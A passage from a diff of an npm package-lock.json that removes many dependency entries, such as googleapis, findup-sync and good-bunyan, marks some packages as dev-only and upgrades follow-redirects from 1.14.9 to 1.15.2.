+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/extract-zip/-/extract-zip-2.0.1.tgz",
+@@ -13786,11 +11683,6 @@
+ "node": ">=8.6.0"
+ }
+ },
+- "node_modules/fast-json-patch": {
+- "version": "3.1.0",
+- "resolved": "https://registry.npmjs.org/fast-json-patch/-/fast-json-patch-3.1.0.tgz",
+- "integrity": "sha512-IhpytlsVTRndz0hU5t0/MGzS/etxLlfrpG5V5M9mVbuj9TrJLWaMfsox9REM5rkuGX0T+5qjpe8XA1o0gZ42nA=="
+- },
+ "node_modules/fast-json-stable-stringify": {
+ "version": "2.1.0",
+ "resolved": "https://registry.npmjs.org/fast-json-stable-stringify/-/fast-json-stable-stringify-2.1.0.tgz",
+@@ -13802,11 +11694,6 @@
+ "integrity": "sha1-PYpcZog6FqMMqGQ+hR8Zuqd5eRc=",
+ "dev": true
+ },
+- "node_modules/fast-safe-stringify": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz",
+- "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA=="
+- },
+ "node_modules/fast-text-encoding": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/fast-text-encoding/-/fast-text-encoding-1.0.3.tgz",
+@@ -13859,28 +11746,6 @@
+ "pend": "~1.2.0"
+ }
+ },
+- "node_modules/feature-detect-es6": {
+- "version": "1.5.0",
+- "resolved": "https://registry.npmjs.org/feature-detect-es6/-/feature-detect-es6-1.5.0.tgz",
+- "integrity": "sha512-DzWPIGzTnfp3/KK1d/YPfmgLqeDju9F2DQYBL35VusgSApcA7XGqVtXfR4ETOOFEzdFJ3J7zh0Gkk011TiA4uQ==",
+- "dependencies": {
+- "array-back": "^1.0.4"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/feature-detect-es6/node_modules/array-back": {
+- "version": "1.0.4",
+- "resolved": "https://registry.npmjs.org/array-back/-/array-back-1.0.4.tgz",
+- "integrity": "sha1-ZEun8JX3/898Q7Xw3DnTwfA8Bjs=",
+- "dependencies": {
+- "typical": "^2.6.0"
+- },
+- "engines": {
+- "node": ">=0.12.0"
+- }
+- },
+ "node_modules/feature-policy": {
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/feature-policy/-/feature-policy-0.3.0.tgz",
+@@ -14171,157 +12036,6 @@
+ "node": ">=0.8.22"
+ }
+ },
+- "node_modules/findup-sync": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/findup-sync/-/findup-sync-3.0.0.tgz",
+- "integrity": "sha512-YbffarhcicEhOrm4CtrwdKBdCuz576RLdhJDsIfvNtxUuhdRet1qZcsMjqbePtAseKdAnDyM/IyXbu7PRPRLYg==",
+- "dependencies": {
+- "detect-file": "^1.0.0",
+- "is-glob": "^4.0.0",
+- "micromatch": "^3.0.4",
+- "resolve-dir": "^1.0.1"
+- },
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+- "node_modules/findup-sync/node_modules/braces": {
+- "version": "2.3.2",
+- "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
+- "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
+- "dependencies": {
+- "arr-flatten": "^1.1.0",
+- "array-unique": "^0.3.2",
+- "extend-shallow": "^2.0.1",
+- "fill-range": "^4.0.0",
+- "isobject": "^3.0.1",
+- "repeat-element": "^1.1.2",
+- "snapdragon": "^0.8.1",
+- "snapdragon-node": "^2.0.1",
+- "split-string": "^3.0.2",
+- "to-regex": "^3.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/findup-sync/node_modules/fill-range": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-4.0.0.tgz",
+- "integrity": "sha1-1USBHUKPmOsGpj3EAtJAPDKMOPc=",
+- "dependencies": {
+- "extend-shallow": "^2.0.1",
+- "is-number": "^3.0.0",
+- "repeat-string": "^1.6.1",
+- "to-regex-range": "^2.1.0"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/findup-sync/node_modules/is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "dependencies": {
+- "is-plain-object": "^2.0.4"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/findup-sync/node_modules/is-number": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/is-number/-/is-number-3.0.0.tgz",
+- "integrity": "sha1-JP1iAaR4LPUFYcgQJ2r8fRLXEZU=",
+- "dependencies": {
+- "kind-of": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/findup-sync/node_modules/is-number/node_modules/kind-of": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+- "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
+- "dependencies": {
+- "is-buffer": "^1.1.5"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/findup-sync/node_modules/micromatch": {
+- "version": "3.1.10",
+- "resolved": "https://registry.npmjs.org/micromatch/-/micromatch-3.1.10.tgz",
+- "integrity": "sha512-MWikgl9n9M3w+bpsY3He8L+w9eF9338xRl8IAO5viDizwSzziFEyUzo2xrrloB64ADbTf8uA8vRqqttDTOmccg==",
+- "dependencies": {
+- "arr-diff": "^4.0.0",
+- "array-unique": "^0.3.2",
+- "braces": "^2.3.1",
+- "define-property": "^2.0.2",
+- "extend-shallow": "^3.0.2",
+- "extglob": "^2.0.4",
+- "fragment-cache": "^0.2.1",
+- "kind-of": "^6.0.2",
+- "nanomatch": "^1.2.9",
+- "object.pick": "^1.3.0",
+- "regex-not": "^1.0.0",
+- "snapdragon": "^0.8.1",
+- "to-regex": "^3.0.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/findup-sync/node_modules/micromatch/node_modules/extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "dependencies": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/findup-sync/node_modules/to-regex-range": {
+- "version": "2.1.1",
+- "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-2.1.1.tgz",
+- "integrity": "sha1-fIDBe53+vlmeJzZ+DU3VWQFB2zg=",
+- "dependencies": {
+- "is-number": "^3.0.0",
+- "repeat-string": "^1.6.1"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/fined": {
+- "version": "1.2.0",
+- "resolved": "https://registry.npmjs.org/fined/-/fined-1.2.0.tgz",
+- "integrity": "sha512-ZYDqPLGxDkDhDZBjZBb+oD1+j0rA4E0pXY50eplAAOPg2N/gUBSSk5IM1/QhPfyVo19lJ+CvXpqfvk+b2p/8Ng==",
+- "dependencies": {
+- "expand-tilde": "^2.0.2",
+- "is-plain-object": "^2.0.3",
+- "object.defaults": "^1.1.0",
+- "object.pick": "^1.2.0",
+- "parse-filepath": "^1.0.1"
+- },
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+- "node_modules/flagged-respawn": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/flagged-respawn/-/flagged-respawn-1.0.1.tgz",
+- "integrity": "sha512-lNaHNVymajmk0OJMBn8fVUAU1BtDeKIqKoVhk4xAALB57aALg6b4W0MfJ/cUE0g9YBXy5XhSlPIpYIJ7HaY/3Q==",
+- "engines": {
+- "node": ">= 0.10"
+- }
+- },
+ "node_modules/flat": {
+ "version": "5.0.2",
+ "resolved": "https://registry.npmjs.org/flat/-/flat-5.0.2.tgz",
+@@ -14369,6 +12083,7 @@
+ "version": "0.4.1",
+ "resolved": "https://registry.npmjs.org/flowstate/-/flowstate-0.4.1.tgz",
+ "integrity": "sha1-tfu4t/wte9xbVL5GyYMJ73NvTsA=",
++ "dev": true,
+ "dependencies": {
+ "clone": "^1.0.2",
+ "uid-safe": "^2.1.0",
+@@ -14379,6 +12094,7 @@
+ "version": "1.0.4",
+ "resolved": "https://registry.npmjs.org/clone/-/clone-1.0.4.tgz",
+ "integrity": "sha1-2jCcwmPfFZlMaIypAheco8fNfH4=",
++ "dev": true,
+ "engines": {
+ "node": ">=0.8"
+ }
+@@ -14424,9 +12140,9 @@
+ }
+ },
+ "node_modules/follow-redirects": {
+- "version": "1.14.9",
+- "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.14.9.tgz",
+- "integrity": "sha512-MQDfihBQYMcyy5dhRDJUHcw7lb2Pv/TuE6xP1vyraLukNDHKbDxDNaOE3NbCAdKQApno+GPRyo1YAp89yCjK4w==",
++ "version": "1.15.2",
++ "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.2.tgz",
++ "integrity": "sha512-VQLG33o04KaQ8uYi2tVNbdrWp1QWxNNea+nmIB4EVM28v0hmP17z7aG1+wAkNzVq4KeXTq3221ye5qTJP91JwA==",
+ "funding": [
+ {
+ "type": "individual",
+@@ -14454,17 +12170,7 @@
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
+ "integrity": "sha1-gQaNKVqBQuwKxybG4iAMMPttXoA=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/for-own": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/for-own/-/for-own-1.0.0.tgz",
+- "integrity": "sha1-xjMy9BXO3EsE2/5wz4NklMU8tEs=",
+- "dependencies": {
+- "for-in": "^1.0.1"
+- },
++ "dev": true,
+ "engines": {
+ "node": ">=0.10.0"
+ }
+@@ -14495,46 +12201,6 @@
+ "node": "*"
+ }
+ },
+- "node_modules/form-data": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/form-data/-/form-data-3.0.1.tgz",
+- "integrity": "sha512-RHkBKtLWUVwd7SqRIvCZMEvAMoGUp0XU+seQiZejj0COz3RI3hWP4sCv3gZWWLjJTd7rGwcsF5eKZGii0r/hbg==",
+- "peer": true,
+- "dependencies": {
+- "asynckit": "^0.4.0",
+- "combined-stream": "^1.0.8",
+- "mime-types": "^2.1.12"
+- },
+- "engines": {
+- "node": ">= 6"
+- }
+- },
+- "node_modules/form-data-encoder": {
+- "version": "1.7.1",
+- "resolved": "https://registry.npmjs.org/form-data-encoder/-/form-data-encoder-1.7.1.tgz",
+- "integrity": "sha512-EFRDrsMm/kyqbTQocNvRXMLjc7Es2Vk+IQFx/YW7hkUH1eBl4J1fqiP34l74Yt0pFLCNpc06fkbVk00008mzjg=="
+- },
+- "node_modules/formdata-node": {
+- "version": "4.3.2",
+- "resolved": "https://registry.npmjs.org/formdata-node/-/formdata-node-4.3.2.tgz",
+- "integrity": "sha512-k7lYJyzDOSL6h917favP8j1L0/wNyylzU+x+1w4p5haGVHNlP58dbpdJhiCUsDbWsa9HwEtLp89obQgXl2e0qg==",
+- "dependencies": {
+- "node-domexception": "1.0.0",
+- "web-streams-polyfill": "4.0.0-beta.1"
+- },
+- "engines": {
+- "node": ">= 12.20"
+- }
+- },
+- "node_modules/formidable": {
+- "version": "1.2.6",
+- "resolved": "https://registry.npmjs.org/formidable/-/formidable-1.2.6.tgz",
+- "integrity": "sha512-KcpbcpuLNOwrEjnbpMC0gS+X8ciDoZE1kkqzat4a8vrprf+s9pKNQ/QIwWfbfs4ltgmFl3MD177SNTkve3BwGQ==",
+- "deprecated": "Please upgrade to latest, formidable@v2 or formidable@v3! Check these notes: https://bit.ly/2ZEqIau",
+- "funding": {
+- "url": "https://ko-fi.com/tunnckoCore/commissions"
+- }
+- },
+ "node_modules/formik": {
+ "version": "2.2.9",
+ "resolved": "https://registry.npmjs.org/formik/-/formik-2.2.9.tgz",
+@@ -14584,21 +12250,6 @@
+ "node": ">= 0.6"
+ }
+ },
+- "node_modules/fragment-cache": {
+- "version": "0.2.1",
+- "resolved": "https://registry.npmjs.org/fragment-cache/-/fragment-cache-0.2.1.tgz",
+- "integrity": "sha1-QpD60n8T6Jvn8zeZxrxaCr//DRk=",
+- "dependencies": {
+- "map-cache": "^0.2.2"
+- },
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/freegeoip": {
+- "resolved": "services/freegeoip",
+- "link": true
+- },
+ "node_modules/fresh": {
+ "version": "0.5.2",
+ "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
+@@ -14878,14 +12529,6 @@
+ "node": ">=10"
+ }
+ },
+- "node_modules/generic-pool": {
+- "version": "2.5.4",
+- "resolved": "https://registry.npmjs.org/generic-pool/-/generic-pool-2.5.4.tgz",
+- "integrity": "sha1-OMYYhRPhQDCUjsblz2VSPZd5KZs=",
+- "engines": {
+- "node": ">= 0.8.0"
+- }
+- },
+ "node_modules/gensync": {
+ "version": "1.0.0-beta.2",
+ "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+@@ -14944,17 +12587,6 @@
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+- "node_modules/get-stream": {
+- "version": "4.1.0",
+- "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-4.1.0.tgz",
+- "integrity": "sha512-GMat4EJ5161kIy2HevLlr4luNjBgvmj413KaQA7jt4V8B4RDsfpHk7WQ9GVqfYyyx8OS/L66Kox+rJRNklLK7w==",
+- "dependencies": {
+- "pump": "^3.0.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+ "node_modules/get-symbol-description": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz",
+@@ -14970,19 +12602,6 @@
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+- "node_modules/get-value": {
+- "version": "2.0.6",
+- "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
+- "integrity": "sha1-3BXKHGcjh8p2vTesCjlbogQqLCg=",
+- "engines": {
+- "node": ">=0.10.0"
+- }
+- },
+- "node_modules/getopts": {
+- "version": "2.2.5",
+- "resolved": "https://registry.npmjs.org/getopts/-/getopts-2.2.5.tgz",
+- "integrity": "sha512-9jb7AW5p3in+IiJWhQiZmmwkpLaR/ccTWdWQCtZM66HJcHHLegowh4q4tSD7gouUyeNvFWRavfK9GXosQHDpFA=="
+- },
+ "node_modules/getos": {
+ "version": "3.2.1",
+ "resolved": "https://registry.npmjs.org/getos/-/getos-3.2.1.tgz",
+@@ -15203,65 +12822,6 @@
+ "node": ">=0.10.0"
+ }
+ },
+- "node_modules/good-bunyan": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/good-bunyan/-/good-bunyan-3.0.1.tgz",
+- "integrity": "sha512-zhux9w1Ux6uLobUYJWyOy4l8HFl6tYol+0yfDtAu2+V9RYZUSVL1RWz83fAjbcoVk4c1h2iQaBRh0EnnVUoOvQ==",
+- "dependencies": {
+- "bunyan": "^1.8.12",
+- "fast-safe-stringify": "^2.0.3",
+- "good-squeeze": "^5.0.x",
+- "hoek": "^5.0.3",
+- "joi": "^13.1.2"
+- },
+- "engines": {
+- "node": ">=4.0.0"
+- },
+- "peerDependencies": {
+- "@hapi/good": "8.x"
+- }
+- },
+- "node_modules/good-bunyan/node_modules/joi": {
+- "version": "13.7.0",
+- "resolved": "https://registry.npmjs.org/joi/-/joi-13.7.0.tgz",
+- "integrity": "sha512-xuY5VkHfeOYK3Hdi91ulocfuFopwgbSORmIwzcwHKESQhC7w1kD5jaVSPnqDxS2I8t3RZ9omCKAxNwXN5zG1/Q==",
+- "deprecated": "This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).",
+- "dependencies": {
+- "hoek": "5.x.x",
+- "isemail": "3.x.x",
+- "topo": "3.x.x"
+- },
+- "engines": {
+- "node": ">=8.9.0"
+- }
+- },
+- "node_modules/good-squeeze": {
+- "version": "5.1.0",
+- "resolved": "https://registry.npmjs.org/good-squeeze/-/good-squeeze-5.1.0.tgz",
+- "integrity": "sha1-Jl8+i+YIGqRMVdSE0a83XhZnUrk=",
+- "deprecated": "This module has moved and is now available at @hapi/good-squeeze. Please update your dependencies as this version is no longer maintained an may contain bugs and security issues.",
+- "dependencies": {
+- "fast-safe-stringify": "2.0.x",
+- "hoek": "4.2.x"
+- },
+- "engines": {
+- "node": ">=4.0.0"
+- }
+- },
+- "node_modules/good-squeeze/node_modules/fast-safe-stringify": {
+- "version": "2.0.8",
+- "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.0.8.tgz",
+- "integrity": "sha512-lXatBjf3WPjmWD6DpIZxkeSsCOwqI0maYMpgDlx8g4U2qi4lbjA9oH/HD2a87G+KfsUmo5WbJFmqBZlPxtptag=="
+- },
+- "node_modules/good-squeeze/node_modules/hoek": {
+- "version": "4.2.1",
+- "resolved": "https://registry.npmjs.org/hoek/-/hoek-4.2.1.tgz",
+- "integrity": "sha512-QLg82fGkfnJ/4iy1xZ81/9SIJiq1NGFUMGs6ParyjBZr6jW2Ufj/snDqTHixNlHdPNwN2RLVD0Pi3igeK9+JfA==",
+- "deprecated": "This version has been deprecated in accordance with the hapi support policy (hapi.im/support). Please upgrade to the latest version to get the best features, bug fixes, and security patches. If you are unable to upgrade at this time, paid support is available for older versions (hapi.im/commercial).",
+- "engines": {
+- "node": ">=4.0.0"
+- }
+- },
+ "node_modules/google-auth-library": {
+ "version": "7.11.0",
+ "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-7.11.0.tgz",
+@@ -15363,367 +12923,11 @@
+ "node": ">=10"
+ }
+ },
+- "node_modules/googleapis": {
+- "version": "39.2.0",
+- "resolved": "https://registry.npmjs.org/googleapis/-/googleapis-39.2.0.tgz",
+- "integrity": "sha512-66X8TG1B33zAt177sG1CoKoYHPP/B66tEpnnSANGCqotMuY5gqSQO8G/0gqHZR2jRgc5CHSSNOJCnpI0SuDxMQ==",
+- "dependencies": {
+- "google-auth-library": "^3.0.0",
+- "googleapis-common": "^0.7.0"
+- },
+- "engines": {
+- "node": ">=6.0"
+- }
+- },
+- "node_modules/googleapis-common": {
+- "version": "0.7.2",
+- "resolved": "https://registry.npmjs.org/googleapis-common/-/googleapis-common-0.7.2.tgz",
+- "integrity": "sha512-9DEJIiO4nS7nw0VE1YVkEfXEj8x8MxsuB+yZIpOBULFSN9OIKcUU8UuKgSZFU4lJmRioMfngktrbkMwWJcUhQg==",
+- "dependencies": {
+- "gaxios": "^1.2.2",
+- "google-auth-library": "^3.0.0",
+- "pify": "^4.0.0",
+- "qs": "^6.5.2",
+- "url-template": "^2.0.8",
+- "uuid": "^3.2.1"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/agent-base": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz",
+- "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==",
+- "dependencies": {
+- "es6-promisify": "^5.0.0"
+- },
+- "engines": {
+- "node": ">= 4.0.0"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/debug": {
+- "version": "3.2.7",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+- "dependencies": {
+- "ms": "^2.1.1"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/gaxios": {
+- "version": "1.8.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-1.8.4.tgz",
+- "integrity": "sha512-BoENMnu1Gav18HcpV9IleMPZ9exM+AvUjrAOV4Mzs/vfz2Lu/ABv451iEXByKiMPn2M140uul1txXCg83sAENw==",
+- "dependencies": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^2.2.1",
+- "node-fetch": "^2.3.0"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/gcp-metadata": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-1.0.0.tgz",
+- "integrity": "sha512-Q6HrgfrCQeEircnNP3rCcEgiDv7eF9+1B+1MMgpE190+/+0mjQR8PxeOaRgxZWmdDAF9EIryHB9g1moPiw1SbQ==",
+- "dependencies": {
+- "gaxios": "^1.0.2",
+- "json-bigint": "^0.3.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/google-auth-library": {
+- "version": "3.1.2",
+- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-3.1.2.tgz",
+- "integrity": "sha512-cDQMzTotwyWMrg5jRO7q0A4TL/3GWBgO7I7q5xGKNiiFf9SmGY/OJ1YsLMgI2MVHHsEGyrqYnbnmV1AE+Z6DnQ==",
+- "dependencies": {
+- "base64-js": "^1.3.0",
+- "fast-text-encoding": "^1.0.0",
+- "gaxios": "^1.2.1",
+- "gcp-metadata": "^1.0.0",
+- "gtoken": "^2.3.2",
+- "https-proxy-agent": "^2.2.1",
+- "jws": "^3.1.5",
+- "lru-cache": "^5.0.0",
+- "semver": "^5.5.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/google-p12-pem": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-1.0.5.tgz",
+- "integrity": "sha512-50rTrqYPTPPwlu9TNl/HkJbBENEpbRzTOVLFJ4YWM86njZgXHFy+FP+tLRSd9m132Li9Dqi27Z3KIWDEv5y+EA==",
+- "dependencies": {
+- "node-forge": "^0.10.0",
+- "pify": "^4.0.0"
+- },
+- "bin": {
+- "gp12-pem": "build/src/bin/gp12-pem.js"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/gtoken": {
+- "version": "2.3.3",
+- "resolved": "https://registry.npmjs.org/gtoken/-/gtoken-2.3.3.tgz",
+- "integrity": "sha512-EaB49bu/TCoNeQjhCYKI/CurooBKkGxIqFHsWABW0b25fobBYVTMe84A8EBVVZhl8emiUdNypil9huMOTmyAnw==",
+- "dependencies": {
+- "gaxios": "^1.0.4",
+- "google-p12-pem": "^1.0.0",
+- "jws": "^3.1.5",
+- "mime": "^2.2.0",
+- "pify": "^4.0.0"
+- },
+- "engines": {
+- "node": ">=6.0.0"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/https-proxy-agent": {
+- "version": "2.2.4",
+- "resolved": "https://registry.npmjs.org/https-proxy-agent/-/https-proxy-agent-2.2.4.tgz",
+- "integrity": "sha512-OmvfoQ53WLjtA9HeYP9RNrWMJzzAz1JGaSFr1nijg0PVR1JaD/xbJq1mdEIIlxGpXp9eSe/O2LgU9DJmTPd0Eg==",
+- "dependencies": {
+- "agent-base": "^4.3.0",
+- "debug": "^3.1.0"
+- },
+- "engines": {
+- "node": ">= 4.5.0"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/json-bigint": {
+- "version": "0.3.1",
+- "resolved": "https://registry.npmjs.org/json-bigint/-/json-bigint-0.3.1.tgz",
+- "integrity": "sha512-DGWnSzmusIreWlEupsUelHrhwmPPE+FiQvg+drKfk2p+bdEYa5mp4PJ8JsCWqae0M2jQNb0HPvnwvf1qOTThzQ==",
+- "dependencies": {
+- "bignumber.js": "^9.0.0"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/jwa": {
+- "version": "1.4.1",
+- "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz",
+- "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==",
+- "dependencies": {
+- "buffer-equal-constant-time": "1.0.1",
+- "ecdsa-sig-formatter": "1.0.11",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/jws": {
+- "version": "3.2.2",
+- "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz",
+- "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==",
+- "dependencies": {
+- "jwa": "^1.4.1",
+- "safe-buffer": "^5.0.1"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/node-forge": {
+- "version": "0.10.0",
+- "resolved": "https://registry.npmjs.org/node-forge/-/node-forge-0.10.0.tgz",
+- "integrity": "sha512-PPmu8eEeG9saEUvI97fm4OYxXVB6bFvyNTyiUOBichBpFG8A1Ljw3bY62+5oOjDEMHRnd0Y7HQ+x7uzxOzC6JA==",
+- "engines": {
+- "node": ">= 6.0.0"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/pify": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/pify/-/pify-4.0.1.tgz",
+- "integrity": "sha512-uB80kBFb/tfd68bVleG9T5GGsGPjJrLAUpR5PZIrhBnIaRTQRjqdJSsIKkOP6OAIFbj7GOrcudc5pNjZ+geV2g==",
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/googleapis-common/node_modules/semver": {
+- "version": "5.7.1",
+- "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz",
+- "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==",
+- "bin": {
+- "semver": "bin/semver"
+- }
+- },
+- "node_modules/googleapis/node_modules/agent-base": {
+- "version": "4.3.0",
+- "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-4.3.0.tgz",
+- "integrity": "sha512-salcGninV0nPrwpGNn4VTXBb1SOuXQBiqbrNXoeizJsHrsL6ERFM2Ne3JUSBWRE6aeNJI2ROP/WEEIDUiDe3cg==",
+- "dependencies": {
+- "es6-promisify": "^5.0.0"
+- },
+- "engines": {
+- "node": ">= 4.0.0"
+- }
+- },
+- "node_modules/googleapis/node_modules/debug": {
+- "version": "3.2.7",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+- "dependencies": {
+- "ms": "^2.1.1"
+- }
+- },
+- "node_modules/googleapis/node_modules/gaxios": {
+- "version": "1.8.4",
+- "resolved": "https://registry.npmjs.org/gaxios/-/gaxios-1.8.4.tgz",
+- "integrity": "sha512-BoENMnu1Gav18HcpV9IleMPZ9exM+AvUjrAOV4Mzs/vfz2Lu/ABv451iEXByKiMPn2M140uul1txXCg83sAENw==",
+- "dependencies": {
+- "abort-controller": "^3.0.0",
+- "extend": "^3.0.2",
+- "https-proxy-agent": "^2.2.1",
+- "node-fetch": "^2.3.0"
+- }
+- },
+- "node_modules/googleapis/node_modules/gcp-metadata": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/gcp-metadata/-/gcp-metadata-1.0.0.tgz",
+- "integrity": "sha512-Q6HrgfrCQeEircnNP3rCcEgiDv7eF9+1B+1MMgpE190+/+0mjQR8PxeOaRgxZWmdDAF9EIryHB9g1moPiw1SbQ==",
+- "dependencies": {
+- "gaxios": "^1.0.2",
+- "json-bigint": "^0.3.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/googleapis/node_modules/google-auth-library": {
+- "version": "3.1.2",
+- "resolved": "https://registry.npmjs.org/google-auth-library/-/google-auth-library-3.1.2.tgz",
+- "integrity": "sha512-cDQMzTotwyWMrg5jRO7q0A4TL/3GWBgO7I7q5xGKNiiFf9SmGY/OJ1YsLMgI2MVHHsEGyrqYnbnmV1AE+Z6DnQ==",
+- "dependencies": {
+- "base64-js": "^1.3.0",
+- "fast-text-encoding": "^1.0.0",
+- "gaxios": "^1.2.1",
+- "gcp-metadata": "^1.0.0",
+- "gtoken": "^2.3.2",
+- "https-proxy-agent": "^2.2.1",
+- "jws": "^3.1.5",
+- "lru-cache": "^5.0.0",
+- "semver": "^5.5.0"
+- },
+- "engines": {
+- "node": ">=6"
+- }
+- },
+- "node_modules/googleapis/node_modules/google-p12-pem": {
+- "version": "1.0.5",
+- "resolved": "https://registry.npmjs.org/google-p12-pem/-/google-p12-pem-1.0.5.tgz",
